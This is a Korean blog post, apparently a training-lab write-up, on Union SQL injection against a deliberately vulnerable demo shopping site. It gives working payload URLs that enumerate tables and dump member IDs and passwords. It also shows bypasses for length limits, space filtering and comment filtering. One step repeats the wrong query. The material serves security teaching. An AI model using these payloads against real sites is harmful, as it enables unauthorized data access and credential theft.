본문으로 바로가기

1. Union SQL Injection


K-Sheild 에서 제공한 취약한 홈페이지를 대상으로 Union SQL Injection을 실습



1) Union SQL Injection

그림 1-1 은 어느 홈페이지에서나 볼 수 있는 회원가입 화면의 주소입력란 이다. 해당 페이지에 Injection 취약점이 있는지 확인하기 위하여 입력란에 '(싱글 쿼터)를 입력하면 그림 1-2 와 같은 에러페이지를 확인 할 수 있다.

그림 1-1


그림 1-2 에러페이지를 통해 얻을 수 있는 정보는 mssql을 사용한다는 것과 'Dong' 파라미터를 사용한다는 점을 확인 할 수 있다.

그림 1-2


얻어낸 정보를 통해 url 에 다음과 같은 쿼리를 입력하여 컬럼의 개수를 확인하고자 한다.

그림 1-3 에러페이지에서 확인해보면 '동일한 개수의 식이 있어야 합니다.' 라는 메시지 확인 후 개수를 늘려가며 컬럼의 개수를 파악


http://192.168.100.111:1004/demoshop/login/findNewaddr.asp?dong='union select '1' --
cs

그림 1-3


여러번의 시행착오 결과 5개의 컬럼개수를 사용함을 확인 할 수 있다.

?dong='union select '1','2','3','4','5' --
cs

그림 1-4


그림 1-2 에서 mssql 임을 확인하였으니, 해당 명령어를 통해 테이블명을 확인 할 수 있다. 또한, admin_tb, members 테이블이 의심스럽다.

?dong='union select '1',table_name,'3','4','5' from information_schema.tables--

그림 1-5


다음 명령어를 통해 information_schema.columns[각주:1] 테이블에서 'members 테이블만' 이라는 조건을 넣어 출력해보면 그림 1-6 처럼 user_id, passwd 라는 컬럼명을 확인할 수 있다. 

?dong='union select '1',table_name,'3','4','5' from information_schema.tables--
cs

그림 1-6


최종적으로 members테이블의 user_id, passwd 컬럼명을 뽑아내면 그림 1-7 처럼 사용자의 아이디와 패스워트를 출력함을 확인 가능했다.

( 추가적으로 members 테이블이 아닌, admin_tb 테이블을 확인하면 관리자계정과 패스워드를 확인 할 수 있다. )

?dong='union select '1','2','3',user_id,passwd from members --
cs

그림 1-7


2) 추가로 Union SQL Injection 방어에 대해 우회 실습

 (1) http://192.168.100.111:1004/demoshop/login/findNewaddr2.asp

해당 사이트에선 입력란에 최대글자수를 적용하여 Injection에 대한 방어를 했지만, 그림 1-2 에서 'Dong' 파라미터를 확인했거나, 그림 2-1 처럼 해당 입력란의 'maxlength'를 없애거나 허용치를 늘려서 우회가 가능

그림 2-1


 (2) http://192.168.100.111:1004/demoshop/login/findNewaddr3.asp

해당 사이트에선 그림 2-2 에러사이트를 보게되면 ?dong='unionselect' 근처의 구문이 잘못되었다는 에러를 확인 가능하다. 직관적으로 띄어쓰기를 필터링 했다는 걸 생각해 볼 수 있다. 해결책은 주석  /**/ 을 띄어쓰기로 치환하여 입력하면 그림 2-3 처럼 우회가 가능

?dong='union/**/select/**/'1','2','3',user_id,passwd/**/from/**/members --
cs

그림 2-2


그림 2-3


 (3) http://192.168.100.111:1004/demoshop/login/findNewaddr4.asp

해당 사이트에선 주석조차 필터링하기에 아스키코드값인 '%0A' 를 통해 우회가능

?dong='union%0Aselect%0A'1','2','3',user_id,passwd%0Afrom%0Amembers --
cs

그림 2-4


그림 2-5

  1. 컬럼명을 모아놓은 테이블 [본문으로]